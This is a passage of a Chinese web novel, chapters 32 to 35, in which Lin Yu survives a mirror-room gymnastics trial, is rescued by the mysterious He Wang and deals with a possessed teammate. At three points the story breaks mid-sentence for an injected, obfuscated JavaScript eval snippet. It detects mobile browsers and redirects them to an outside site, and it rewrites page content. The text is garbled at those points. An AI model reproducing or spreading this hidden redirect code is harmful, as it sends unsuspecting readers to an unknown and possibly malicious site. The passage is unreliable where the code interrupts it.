“抱歉,没来得及。”林屿拿出传信纸,看见自己那一条消息后面跟着一行字:【不要下游泳池。】 视线往上,是她写给队友的:【可选健身房器材,中低难度,两人照应较安全。】 “是因为游泳池里有东西会拽脚吗?”林屿问道。 “你知道了?”孟锦竹意外道,“也对,你才从楼下上来,是不是发现什么了?” “游泳池里的东西没有亲眼看见,是听别人说的,那个开局和你们一起的人,但楼下除了游泳池其它地方也危险。”林屿把那扇门的事和自己的猜测说了一遍,又问道:“□□离开的时候你看他往哪边走的?” 孟锦竹摇摇头,“那时我还在吃饭,早知道应该谨慎一些,不过等我们出来看到二楼的楼梯口有血迹,不过现在没有了。” 所以,负一楼的门后空间入口是在楼上? “不说这些了,你为什么说健身房是中低难度?” 林屿讲了一遍当时健身房里的情况:“总之,当时的器材故障都没有让我们受伤,自己一个人也行,有人帮忙也行,是能够安全度过四个小时的,与此相反的是我们不知道其他运动项目的考验是什么,泳池就算没有你们说的事也不能选,现实里的泳池都很容易出事。” “那你要和我们一起去健身房吗?”孟锦竹问道。 林屿想了想,“我先上楼看一看。” 至少先找到贺望,不然寝食难安——留了个炸药在身后的那种寝食难安,上一个副本最后的事情还历历在目呢。 32. 第三十二章 林屿上二楼时留意了一下楼梯,大理石瓷砖像是不久前被拖过,光可鉴人,也看不出来有过血迹什么的。 二楼分左右两边走廊,左边走廊有五个并排的房间,都大敞着门窗,林屿一走近就明白这里是玩家的住处了。类似酒店标间的布置,隔着一张床头柜的两张床占据了卧室大部分空间,窗户开在走廊上,不过有窗帘遮挡。 鼻端缭绕着淡淡的香气,林屿找了找,从床头柜抽屉里找到了车载固体香薰,是薰衣草味的。她把香薰放回原处。 安全性上,卧室和窗户都可以从内部上锁。 房间看起来似乎没有什么问题,也没有发现监控摄像头。 林屿走出门,来到了右边走廊,这里只有一间超大的房间,她想到先前跟着□□到健身房的玩家,想必他们就刷新在这里了。 门口写着:【瑜伽体操请来此处,一旦选定请至少运动2h,期间不可更换项目,限制人数4人。】 这里的要求和健身房一样。 房间十分空旷,墙角放着几个瑜伽垫,除了木质地板外,四面的墙壁都是镜子,甚至包括天花板,林屿进来后,她的身影倒映在四面八方的镜子里,看起来分外瘆人。 门口有一张柜台,也是这里唯一一张柜台,上面放着一张签到表,似乎需要手动填上名字和时间。 林屿暂时没有动笔,她的注意力被角落里的几台身高体重测量仪吸引住了,她想到一个关键问题,所有玩家的身份是减肥营的成员,所以想要离开副本,必然要改变自己的体重,那么这些运动项目是不是就是改变体重的关键?它们在同样的时间内改变的体重会不会不一样? 她踏了上去,记下自己的体重数字,准备每做2小时运动项目之后就对比一次,选出一个安全又高效的项目。 就在她低头看体重的时候,身后的门“啪”地一声关闭,她猛然回过头,镜子里的无数个她也跟着回过头,那一处明显不反光的出口已经封闭,而门后竟然也做成了镜子,几乎让她分不清原本的门在哪。 怎么回事?是它自动关上的吗? 林屿使劲转动着门把手,然而大门纹丝不动,就好像是焊在墙上一样。 偌大空旷的房间内,林屿和自己镜中的倒映面对面,“自己”面无表情,肌肉紧绷,浑身戒备。 林屿的后背陡然升起一股凉意,她被困在这里了,和自己无数的倒影一起。 为什么门会突然关上?她会被一直困在这里吗? 而这里的“副本考验”,又会是什么呢? 林屿知道自己应该立刻想办法离开,在这一间令人不适的镜子房间里,一定有潜藏的危险。她拿出传信纸联系队友,问他们能不能立刻上楼开门,想了想,又将“立刻”改成了“完成2h的运动后”。 或许,她可以在这段时间弄清楚这个房间里运动项目的难点。 林屿走向柜台,在签到表上写下自己的名字,时间填写的是2个小时——毕竟最低就是2个小时,项目经过一番权衡,考虑到瑜伽的动作难度更大一些,于是选择了体操。 就在她落笔写完后的一瞬间,便听见“滋滋滋”的电流杂音,随后广播体操的音乐声响起,在她面前出现一个身穿体操服的幻影。 林屿微微瞪大了眼,因为那个幻影和她长得一模一样! 随着广播体操音乐前奏的结束,第一节伸展运动开始了。幻影随着节拍开始伸展手臂,林屿知道“她”应该是在做示范,不过她真的应该照做吗? 她去健身房的时候田子阳已经开始了运动,但那里的门并没有封闭,她即使没有选择那两个项目也能自由进出。 而这里明明限入四人,却在她进来以后突然封闭,看起来应当又是一次偏离常规的诡异,那么在寻常情况下的正确选项会是现在情况的正确选项吗? 就在林屿犹豫的时候,她忽然发现离得最近一面镜子的位置不对劲,她一直都看向这个方向,但是先前这面镜墙离她是不是要远一些…… 她的倒影似乎变大了。 林屿惊觉这不是她的错觉,不止前方墙壁,四方上下的墙壁都开始向中间挤压,速度越来越快,已经能被她清楚地感知到。 再这样下去,她会被挤成肉饼的! 怎么办?有没有办法破门而出? 飞行?这个技能闪避和跳跃的加成非常有用,但没办法突破障碍物啊! 给予?这个技能就像是一个物品空间位移的老式幻想超能力,发挥用处的时间不多,在这里完全派不上用场! 眼看着空间越来越小,情急之间,幻影在余光中一闪而过,她豁然开朗,伸出手臂,开始跟随幻影的动作做广播体操。 向内挤压的墙壁停下了。 林屿呼出一口气,开始专心跟随幻影的动作,她发现,每当自己做错一个姿势,四周的镜子墙壁又会靠近一点。 原来如此,这里的难点就是需要这两个小时全程精神集中,跟上体操动作。 她开始全神贯注起来。 时间不知不觉流逝,林屿紧盯幻影,耳朵也留意着广播内容,小心翼翼地不让自己做错一点,毕竟她没有多少容错空间了。 跳着跳着,她感觉各项动作的难度开始增加,从正常人能够做到的弯腰拉腿,逐渐加入了专业人士才能做到的后下腰、后空翻等动作,如果她从一开始就照做,并且没有一点错误,也许可以不做这几个动作,但是空间已经快小得伸展不开了。 还好她的飞行技能可以应对这种情况,没有让空间面积进一步缩小。 终于,广播进行到了最后一节,伴随幻影的一个收尾动作:前滚翻,一切结束。 林屿的身体同步幻影的动作已经成了惯性,她双手撑地往前翻的时候,意识才后知后觉地察觉到:这个大开大合的动作幅度一定会撞墙的。 但如果撞一下墙就能结束,其实也还好。 林屿前滚翻顺利着了地。 她没有碰到阻碍,直接穿过了镜面,站在一处幽暗空间,面前是一面无数镜子拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495274|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接而成的巨大墙面,墙面上每一块平面都折射出一个“林屿”,她和距离最近的“自己”面对着面。 她好像来到了镜子世界。 林屿在心里骂人。太坑了!谁会想到最后一个动作会专门给人挖坑啊!她被困在房间里就算了,现在还被困在房间里的镜子里,简直像双层套娃一样! 等等,她不会又在这里被困在镜子里吧…… 她感觉自己的心态快要维持不住了。 林屿目光上移,和镜子里的自己对上视线,忽然间,她的视角改变了。 这是十分微妙的感觉,眼前的镜墙明明还是那样,由无数镜子的平面变换角度拼接,镜子里依旧是自己的身影,但是,她就是莫名地觉得自己的视点高了一些。 等等,她不会和镜子里的“自己”交换了身体吧? 不对,她并没有看到自己的身体,所以自己进来之后原本就没有身体吗? 她现在是这个镜子世界里的一抹倒影? 心累,套娃已三层。 林屿发现自己无法扭头去看侧面,心里想道“果然如此”,目光再次与前方一块镜子里的倒影对上。 视点又变了。 她真的在镜子里穿梭! 但是,最重要的一点是,她要怎么出去呢? 林屿不断变换自己的位置,最终发现这里是由无数镜面构成的两面墙,而镜面内出现的只有“自己”,没有任何其它东西。 但她却有了猜测,或许自己要找到什么东西,如果是身体进来就要找到身体,如果不是就要找到出口,或者两者兼之。 她不断地穿梭着。 终于,她看到了一点不一样的颜色——一团混沌的黑暗漩涡。 她的目光瞬间被这团漩涡吸引了,在内心的警兆做出反应的同时,一阵战栗席卷过后背,她的目光完全投放在漩涡上,已经来不及了! 滚动的黑暗瞬间近在眼前,林屿想要移开目光,却无法挪动脖颈和双脚,漩涡在眼前放大,就好像要将她吸纳在内。 她无端地想到了第一个副本里那些黑色的漩涡,还有掉进去后至今不知状况的萧谷亮。 这个东西,和第二个副本里那个横空出现的裂谷给她的感觉是一样的,都是没有缘由的恐惧。 然而这一回,作为镜像倒影的她再也没有办法利用飞行技能来逃离了。 林屿僵硬着脖子,感觉自己一点一点地被吸引向漩涡。 难道她终于马失前蹄,就要在这里为止了吗? 她这短短二十五年的生命,还没感觉畅快活过一次。 如果早知如此…… 早知如此,她一定不要像现在,里外世界都活在牢笼之中。 林屿睁着眼睛,她要看着自己的最后,她仍然心怀最后一线希望:黑暗漩涡之后也许还有一线生路。 忽然,肩膀上传来一股大力,将她转了一个身,面前重新出现了倒映着无数个她的镜墙。 而这回,她的身边多了一个人。 33. 第三十三章 “贺望,是你?”林屿无法扭头,也没有去看对面无数镜子里的自己,她的目光落在贺望身上,确切地说,是下半张脸的位置。 她看到他的唇角勾起了一个愉悦的弧度。 “是我。”他说。 “把我关在这里的人也是你。”林屿用的是笃定的语气。 “是我。”贺望干脆地承认道。 林屿得到了意料之内的答案,冷静地问道:“那你为什么要救我?” 他轻飘飘地抛出反问,“不可以吗?” “不是不可以,我只是想不明白,你已经快要成功了,为什么忽然反悔。” “你是说把你推进裂缝?” “原来那个东西叫做裂缝。”林屿的语气略带讥嘲,“因为在上上个副本坑了你,上个副本你想置我于死地,然而你知道像我这类人通关失败或者被你们杀死也不会真的死亡,过段时间还会出现,便换了一个方法——你想让我掉进裂缝里,对吧?虽然我不知道裂缝是什么,但按照你的企图来看,那是一个有去无回的地方。” 对面的镜子里,林屿看见无数个自己身旁的他不约而同地扬起了嘴角,甚至抬起手掌拍了几下,“推理得很精彩,有理有据,发人深省,如果每个人都像你这样有这样细致入微的观察力和天马行空的想象力,那么副本里就不会有那么多蠢蛋了。” 恍然间仿佛第一个副本的小周附体一样,他的话语和动作十分浮夸,字字句句都像是在嘲讽她,然而她没有被激怒,而是注意到一个新的地方。 “你竟然知道副本?” “为什么不知道?我还知道你们所谓的玩家、NPC的意义。” “那你呢,你又是什么身份?” 贺望上扬的嘴角放了下来,经历了一小段不可思议的沉默之后,他开口说道:“和你们不一样的‘人’。” 林屿像是终于看见金沙的淘金者,又像是即将聆听圣音的求道者,虽然维持着平静的表面,然而内心却掀起了一股渴求真相的风暴,她的好奇心再次被唤醒了,求知欲已经饥饿无比,因为美味近在眼前。 她的手掌不知不觉握成了拳,“所以,你知道自己是什么。” 说完有些急切地问道:“你原本是NPC还是玩家,或者一段有了思想的数据?为什么会超脱出系统的规则和限制?你现在是什么状态?系统又是什么东西?这个世界和副本到底是怎么回事?” 贺望轻声说道:“看来你真的很好奇。” “好奇心是人类进步的阶梯。”林屿接了一个冷笑话,随后心绪慢慢冷静下来,贺望丢下“不一样的人”这句模棱两可的话之后没有继续替她解惑的意思,她不能过于着急,否则可能适得其反,一切都要慢慢来。 现在的当务之急是走出碎镜迷宫。 “我只问一个问题。”林屿放松了身体,盯着镜中的他说道。 “你说。” “你知道我刚才问题的答案吗?” 贺望似乎略显意外地瞥了她一眼,“我以为你会问别的。我知道。” “好,我知道了。”林屿垂下目光,既然他能够知晓一切,那么自己也可以,所有谜题的答案,她都会一一去寻找。 “现在我们都困在镜子里,你有办法出去?”林屿状似不经意地开口。 贺望却已经透析了她想蹭顺风车的企图,“这是第二个问题。” “这不算问题。”林屿反驳道,“如果你不愿意同路,就先走吧。” “你知道怎么出去吗?”他站着没动。 林屿的目光慢慢从他在黯淡光线下干枯玫瑰色泽的嘴唇,移到他高挺笔直的鼻梁,最后看向他浮动深金色光芒的眼睛。她已经做足了交换位置的准备,不过没有成功。看来只有自己能和自己的镜像交换。 “把所有镜面都找一遍,就知道哪里是出口了。” “笨办法。”贺望说道,他再次把手搭在她的肩膀上,和之前拽她脱离漩涡是同一个位置,“我知道门在哪里,带你一程。” 看来携带旁人在镜中穿行需要触碰,林屿想了想没有挣脱。 眼花缭乱的穿梭中,她忽然开口问道:“为什么救我?” 贺望想都不想地回答道:“顺手。” “我说的是裂缝那里。你只要推我一把,或者看着我被吸进去就能达成目的,为什么突然改变想法救我?” “我不想回答。”他冷淡地说道。 “那么等下一出去我就向系统举报你。” “那么我就现在把你丢在这里。” “如果你想缓和你我的关系,最好让我知道原因。” “好吧,你坑我一次,我害你一次,扯平了。”贺望回答间,两人在对面一块镜中的投影背后出现了一扇门,和瑜伽体操室大门一模一样的门。 不用他说,林屿便知道这就是镜中世界的出口,目光凝注在门上,只见幻影的把手缓缓拧动,一片白光从越来越大的门缝中照耀进来,直至占据整个视野。 等能看清的时候,面前又是那扇打开的房门,她的左手边是放着签字纸的柜台,右边是跟着一起出来的高大男人。 林屿后退一步拉开距离,面对着他,“这次多谢你了,以后只要你不主动坑我,我也不会主动坑你。” 贺望似笑非笑,“你在明我在暗……” “也不会看到你就向系统举报。”林屿飞快地补充道。 贺望:“……” 说话间,楼道已经有说话的声音,林屿听出是自己的队友,便走出门去。 “呼……你之前的留言……”孟锦竹刚才和时不时出故障的器材奋斗了两个小时,现在还有些气喘,她身边的孙覃倒是气息均匀,游刃有余的样子。 林屿想起之前让他们上楼开门的留言,“之前我被关在里面了,不过现在事情解决,没有问题了,还没来得及告诉你们,怎么样,楼下的器材危险吗?” “如果不知道会出什么问题是有点,但有准备以后就还好,有问题孙哥也会及时帮忙。” 及时帮忙?可是如果两个人的器材同时出问题,那该怎么办? “刚才孙哥没有运动吗?” “嗯,因为我们商量着觉得比起效率,还是稳妥更重要,宁愿多花一点时间也别受伤。”孟锦竹有些不好意思地说道,“反正时间充足,晚上九点才休息呢。” “嗯,你们是对的,不过真要全程陪同的话时间不够,你四个小时,孙哥四个小时,加起来需要八个小时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495275|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我们午饭的时候已经下午两点了。”林屿说道,她并非不赞成谨慎,而是今天的起始时间在午饭前后,总共只有半天时间留给玩家,不过在必要锻炼时间内完成运动,并且避免受伤,确实能规避一些对玩家不利的事件。 于是她把体操的情况告诉了他们两人,“体操的规则就是这些,前面一定要少犯错,后面的高难度动作容错空间大,以及在结尾千万不要跟着前滚翻。” “那你呢?”孟锦竹问道。 “接下来我准备再尝试一下瑜伽,顺便把剩下的两个小时任务也完成一下。”林屿说完准备和两个队友一起进房间,“走吧,我顺便看看两组不同的运动会不会共享同一个空间。” “不,不行。”孙覃出乎意料地拒绝了她的提议。 “怎么了?林屿的安排很好啊?”孟锦竹疑惑地问道,“还是说我们应该继续一人看一人运动,但这样时间不够,之前商量的也是先轮流来,然后一起完成后面两个小时。” “不是这个问题。”孙覃转向林屿,他目光沉着,身材壮实,作为队友让人充满安全感,“不能所有的危险事情都是你做,我去试一试瑜伽,你和孟锦竹去完成剩下两个小时任务,之后一起或者分开探索。” 林屿想了想,“也行。”她也不是一定要亲自趟遍副本所有的雷,孙覃的建议让她省事了,毕竟除了强制运动,探索整个副本的地图也很重要。 再次进门时,贺望已经不见了,也不知道他什么时候离开的,简直神出鬼没。 不过,好消息是他似乎并不打算继续追杀(坑)她,这样她也松了一口气,毕竟时时刻刻担心自己是不是陷入阴谋或者步入陷阱的感觉并不好。 但他说的互坑一次扯平的理由鬼都不信。 算了,关于他的,以及他掌握的谜团太多,她有所预料,这不会是他们最后一次交集。 接下来的事情就是把先前的体操重复一遍,而这一遍的幻影有两个,分别是她和孟锦竹,一同进入房间却选了瑜伽的孙覃随着广播的开始而消失不见,应该是被隔绝在了另一个空间。 这回她几乎没有失误,孟锦竹也努力跟着前面人的动作,只不过虽然现在变成了两个人在房间,房间一开始的大小却没有变化,随着每个错误向前移动的速度、距离也没有区别——两人的容错空间比一个人更小。 第一回做一个完全陌生的体操动作难免错漏,何况即使迟个两秒以上也会让镜子墙壁靠拢,没有人能够完全跟上,因此到了高难度动作时,林屿不得不再次用上飞行技能后下腰,后空翻,看得孟锦竹一脸惊叹,甚至差点拍手称赞。 林屿脸上一热,感觉自己像是在卖艺,连忙直起身子,咳了一声提醒道:“接下来千万别跟着做最后一个动作,不要碰到镜子。” 虽然最后一刻提心吊胆,不过队友听劝,两个人都没有中招,这让林屿大大松了一口气。 两个小时结束,她们两人完成了这一天的必须任务,接下来就能够不受限制地自由探索了。随着广播停止,幻影消失,先前被隔离在另外空间做瑜伽的孙覃也出现在房间,只不过他坐在地上,身旁有一块瑜伽垫。 两人走近,却发现他额头冒汗,双手用力撑着地面,但依然没能起身。 34. 第三十四章 林屿感觉到一丝异样,孙覃的体力应该不至于会被这两个小时的任务累到,她快步走了过去,在离他两步远的时候站定,问道:“出什么事了,你能站起来吗?” 孙覃的语气有些痛苦,“不知怎么回事,做这个瑜伽的时候身体越来越重,结束之后也没有缓解,刚才摔了一下,手脚有些不听使唤。” “难道这就是选择瑜伽会遇到的考验?”林屿沉吟道,但是他这个状态没头没脑的,似乎并没有随着考验的结束而缓解。她尝试的几项运动的考验都有一个来源的方向,比如健身房里的器材,选体操后四周的镜墙,以及听别人说的泳池里有东西会拽脚。 这几种考验都只是发生在强制运动的时间,如果没有在这段时间内受伤的话,考验结束之后玩家不会继续受到影响。 他是不是在运动的时候受伤了? “我起不来了,能拉我一下吗?”孙覃终于意识到仅靠自己是站不起来的,于是出声向队友求助。 “孙哥,我来帮你!”孟锦竹见到同伴有难,立刻上前准备搭把手,她靠近了两步,孙覃抬起头,眼里流露出一丝急迫的狰狞,而此时林屿心头忽然闪过一丝异样。 “等等,别去!” 她一把拉住距离孙覃一步之远的孟锦竹,而此时孙覃猛地站起身,双手向前伸,向着孟锦竹脖子的方向掐过去。 孟锦竹被林屿喊住的时候吓了一跳,还没有弄清楚情况,而现在看到此情此景她一下子反应过来,矮下身险之又险地避过袭击,吃惊之余是一肚子疑惑。 “孙哥?你怎么回事?我们不是队友吗,你为什么要这样做!” “看清楚,他不是孙覃。”林屿的目光落到镜子上,此刻镜子里,孙覃的身形没有改变,然而他长着另一张陌生的人脸。 “他不是孙哥!他是谁?”孟锦竹惊呼。 林屿看向面前的孙覃,经过仔细的凝视,她似乎看到了一点别的。 孙覃偷袭失败,本来还准备继续袭击,然而他向前了一步,腿脚却像是僵硬在半空一样,怎样也落不下来。他的身体里似乎有两股力量在争夺控制权,整张脸上浮现出痛苦的神色,一会儿焦急,一会儿狰狞,隐约有一层黑气在上面,原本的面容上包裹着一层虚影——是在镜子里看到的模样。 刚才他的脸一直遮掩着,几乎全程面朝地面,似乎也在避免让她们看见镜子里的映像,因此林屿没能发现这一点,然而他最后没有沉住气,在动手前暴露出异常,最终导致他的企图失败。 不过,也不算完全失败,林屿知道自己和孟锦竹两人都没有强力攻击防守的技能,等孙覃身体里的陌生人抢夺到控制权,她们还得逃命,然而此情此景,似乎也没有制服他的办法。 忽然,她想到了一个“道具”,“你带绳子了吗?” 孟锦竹立刻从包裹掏出一条麻绳,和上个副本何芝拿出来的那条一模一样,林屿默了默,心里咬牙切齿地想着下个副本她一定要自己也带一条。 无需多言,两人合力将陷入拉锯战的孙覃捆了起来,一回生二回熟,林屿这回在队友的配合下只用了一分钟不到的时间。 整个过程中,孙覃脸上的虚影一直在瞪她们。因为离得近,她还留意了一番虚影的模样——是个年轻的女人,双目圆睁,嘴里一直试图说着什么,看口型,似乎在诅咒她们死。 “你看孙哥脸上有什么不对劲吗?”林屿已经察觉到有一些东西只有自己能看见,然而她还想要再次确认一下。 孟锦竹看了看孙覃的脸,又回过头去看了看镜子里的他,心有余悸地收回目光,“太可怕了,如果不看镜子,我都没想到孙哥被别人附身了!附身的是什么东西?鬼?” “有可能。”林屿说道。 “我们要怎么把这个东西弄出去?” 林屿皱了皱眉,说实话,她还不知道孙覃是怎么被附身的,而且迄今为止她第一次遇到附身的情况,处理这方面事情的经验为零。 “你们以前遇到过这种情况吗?当时用的什么方法?” 孟锦竹绞尽脑汁,似乎在尽可能地回忆,最后叹了一口气,愁眉苦脸地说道:“要是遇到过就好了……” 两人相对无言之际,孟锦竹眼睛一亮,“对了!这种情况会不会在通关之后直接消失?只要我们让孙哥通关,他应该就能恢复!” “可是我们通关需要减重,而减重需要完成吃饭运动的任务,你觉得他现在会配合我们吗?”林屿一针见血。 孟锦竹顿时蔫了,“你说得对……” 情况很棘手,孙覃还有剩下两个小时的运动任务没有完成,林屿不知道没有完成任务会有什么惩罚,但肯定会被NPC盯上,而这个副本的NPC给她很不好的感觉。 “先把他拖出去吧。”林屿说道,“既然是在这个房间里中的招,也许离开镜子附身就会解除……” 孟锦竹还没来得及高兴又听到了她的后半句话。 “……也有可能解除的是附身者的限制。” “但我们没有别的办法了……等等。”她忽然想到一个人。 贺望,那个了解很多世界秘密的家伙,也许他会知道该怎么解除附身。 “你先在这里守着他,我去找人问问。”林屿交代之后便打开门离开了体操瑜伽室。 孟锦竹看着她风风火火的背影,在她身后伸出一只手,张口凝噎,等等,你要找谁去问,不会是准备问遍所有玩家吧?她一个人守在镜子房间好恐怖啊啊啊啊! 孙覃的意识依然在挣扎着,嘴里发出怨魂模糊不清的诅咒。 “……死……必须死……快死……现在……得及……” 孟锦竹偏头看了他一眼,扫视到依然牢牢实实的绳结后闪电一般收回目光。唉,孙哥,你一定要坚持住啊呜呜呜…… 林屿走出了镜子房间以后到了二楼走廊,上下楼的楼梯就在面前延伸出去,各自通向不同的方向,这时她忽然意识到自己根本不知道去哪里找贺望。 她立定后想了想。 负一楼是游泳池、更衣室和淋浴间,还有铁门后疑似配电室的地方,一楼有大厅、厨房、餐厅和健身房,二楼是玩家房间和体操瑜伽房间。先前贺望的衣着看起来和□□不同,胸前没有写他名字的铭牌,但该出现的NPC都已经出现,这里只有最后一个身份留给他:辅助教练。 按照他行事的风格和□□一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495276|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑起全部的情况,他现在肯定也没有在监视或者引导玩家,因此大概不在负一楼到二楼的区域,而□□提过三楼有办公室,那么三楼会不会也有那些NPC休息的地方? 林屿转身上楼。 不知是不是她的错觉,三楼走廊的光线似乎比其它楼层黯淡,一股若有似无的阴冷透过皮肤,让她不由自主打了个寒颤。 一眼望去,写着经理办公室、董事办公室的门牌排列在上,左边只有这两个房间,虽然房门紧闭,但凭借门口的距离能够得知每个房间都很宽敞。 右边的三个房间没有标明用途,然而根据三个和玩家房间一模一样的走廊窗,林屿推测这就是NPC休息的地方。 三个?她顿了顿,随后放心大胆地敲响了第一扇门。 没有应答。 第二扇。 依旧没有应答。 第三扇,林屿的指节刚要落下,门就被打开了,贺望的身影出现在面前,他眉心微蹙,没好气地压低声音,“嘘,你就不怕开门是那边的两个?” “他们不在。” “我说的不是那两个NPC。” 看来他指的是丁经理和周董事长。 不过,他竟然也会用NPC称呼□□和厨师,林屿顿时对他在“游戏”里的身份更加疑惑,他究竟是什么人? “他们又不住在这里。”林屿回答,这也是她放心大胆敲门的原因,她推测那两人的休息室就在他们的办公室,不然这里三个房间住不下,就算一个房间两张床也不对劲,以他们能命令其它NPC的地位,是不会和他们一个待遇的。 贺望默了默,“你找我做什么?” “有事请你帮忙。”林屿客客气气地说道,求人办事的时候,她态度一向很好。 “我们已经两清了。” “你也可以让我办一件事。” 贺望不知想到了什么,“可以,你想让我帮你什么?” 林屿把孙覃的情况描述了一遍,“你知道该怎么驱除附身的那个人……嗯,鬼吗?” 贺望说道:“带我过去。” 两人走下三楼,转角处,林屿看到一个背影从二楼走下去了,而那个背影非常眼熟,是□□,他刚才在二楼? 孟锦竹和孙覃在二楼! 林屿快步跑进镜子房间,孟锦竹好端端地看守着孙覃,她的脸上没有黑气,镜子里的映像也是她自己的脸。 林屿呼出一口气,“还好你没事……” 不然她就要带着两个行动不能的队友单打独斗了。 贺望跟着走进来,看到孙覃的情况似乎明白了什么,“原来是这样……” 孟锦竹见到来人并不是玩家,心中疑虑,迟疑地问道:“他是……” “唔。”林屿转头问道,“你叫什么名字?” WTF?你找来的救兵,竟然还不知道他名字?孟锦竹震惊地看着林屿,心里开始反思小伙伴的靠谱程度。 她在问他在这个副本里替代的角色名字。 “李耀。” “他叫李耀。”林屿对孟锦竹重复了一遍,又回过头问他,“你能处理吗?” “简单。”贺望回答。 35. 第三十五章 孟锦竹无声地看向林屿,似乎在问她从哪里找来的“高手”,不知想到了什么,她的神色变得忧心忡忡,用口型问道:NPC? 林屿不置可否,她一时半会儿解释不清为什么会找到一个陌生的NPC来救人,也不打算讲明两人的来龙去脉,不然没有人会相信在上一个副本还想置玩家于死地的NPC会态度大变真心帮忙。 唔,也不算真心帮忙,或许之后有什么麻烦事交给她去做。 “……死……不然……会……死……”孙覃的挣扎越发厉害,他的神智逐渐被另一人掌控,口中的诅咒越来越清晰,不过依然毫无逻辑,让人摸不清头脑,或许鬼或是灵异的东西已经没有了活人的思维,只剩下执念了吧。 “需要我们出去吗?”林屿见贺望迟迟没有动作,开口催促。 “不急。”贺望依然站着没动。 孟锦竹心中忐忑,已经好几次看向队友,林屿只是安静的站着,渐渐的,她也被那份平静笃定感染,躁动的心态平复下来。 不知是不是错觉,孙覃的挣扎幅度变小了,虽然镜子里仍然是个女人的脸,但林屿察觉到他脸上的黑气淡了不少。 贺望做了什么? 她没有看到他有任何动作,他是怎么做到的? “孙覃”抬起头,嘴巴张开,似乎想说什么,然而“她”的眼睛忽然瞪大,张口发出一声声恐惧的叫喊,随后毫无征兆地停下。他身上似乎有什么东西消失了,孙覃缓缓合上嘴巴,看向队友的已经是熟悉的目光。 孟锦竹面上浮现出喜悦,刚想说什么,却看见林屿和那个自称“李耀”的陌生NPC扭过头看向门口,听不出情绪的声音从背后响起,让人不寒而栗。 “我只是提醒你们,在就寝之前还有晚餐。”董事长不知何时出现在门外,他扫视过在场的玩家,目光停留在贺望身上,暗潮汹涌。 “无论是谁,都请牢记这里的规则。” 他来得无声无息,走的时候却踩出有规律的“哒哒”的响声,等人离开以后,林屿对贺望说道:“刚才他是不是在威胁你?因为你白天旷工?” 贺望警告的目光扫过来,林屿抱起胳臂,“现在你在威胁我。” 孟锦竹的注意力放在另外一件事上,“他刚才是不是说晚饭的事?前面来的□□也让我们必须去吃晚饭,他还没走多久呢,这催得也太急了吧!比我妈还急!” 是啊,简直和催婚一样急,上午催了下午就想有结果。 “看来是NPC之间分工不明。”林屿幽默地说道,视线却在房间内扫视着,董事长出现的时机太巧了,那个附身的鬼或者灵似乎想要说什么,然而他一出现她就被吓走了,看起来非常害怕他,为什么? 难道在副本里所有的员工也都害怕老板吗? 那个附身鬼似乎是瑜伽的“考验”,虽然不是实体,但也应当也算是这里的员工吧? 但董事长为什么会来到这里,恰好阻止了她说话。 先前她没有在这里看到监控,还以为这个房间没有,看样子一定有,只不过现在还没被发现。 “那个……能解开绳子吗?不然我起不来。”因为沉默寡言被忽视很久的孙覃终于忍不住了,不过他这句话和之前被附身时骗队友靠近的话非常相似,孟锦竹显然想起了差点被掐脖子的事,小心翼翼地问了他几个问题才上前解绑绳结。 虽然最后一步被董事长抢工了,但林屿和贺望之间的交易依然成立,现在轮到她欠下一件事。 免得夜长梦多,林屿干脆地问道:“你想要我做什么?” “到时间我会告诉你。”贺望环视一圈后抬头望了望,“给你一个忠告,别妄想着通关这一个副本,不如现在就放弃。” 林屿抬头,眼睛被强烈的光线晃得一花,差点酸流泪,镜面天花板上还安装着白炽灯,如果正对着看,很容易被炫光刺痛眼睛。这也是她之前没有仔细检查天花板的原因。 她眯着眼,终于在灯管上看见一个在光晕中显得模糊不清的小黑点——若隐若现闪着红光的小黑点。 找到了,监控摄像头。看来这里发生的一切,都在管理层NPC的监视之中。 董事长是故意打断附身鬼说话的。 林屿头一回如此迷惑,这一个副本的种种线索没有让里面的情况更清晰,反而为其笼上了一层更深的迷雾。 “你在看什么?”孙覃身上的绳索已经解开,他看着贺望离开的背影,不太确定地问道,“他是玩家吗?我没有见过这个人,你和他……” “互相帮助罢了,不说这个,你感觉怎么样?”林屿避开这个话题问道。 “现在没事了,之前被附身的时候挺危险的,我隐约感觉到她似乎是想杀了你们。” “那……你能感觉到刚才那个人做了什么吗——就是我找来的救兵,他来之后你的意识占了上风还是下风?” 孙覃皱着眉,努力回想着那时的感受,“很难形容,那个时候我的情绪被附身的灵影响了,波动非常大,几乎不能维持理智,附身灵各种各样的情绪原本就像一个漩涡一样,那个人来之后,漩涡变小了,她似乎也开始清醒,虽然我受的影响变小了,但她也开始有意识地争夺身体控制,说不准哪种情况更好,不过她非常害怕那个后面在门口站着的NPC。” 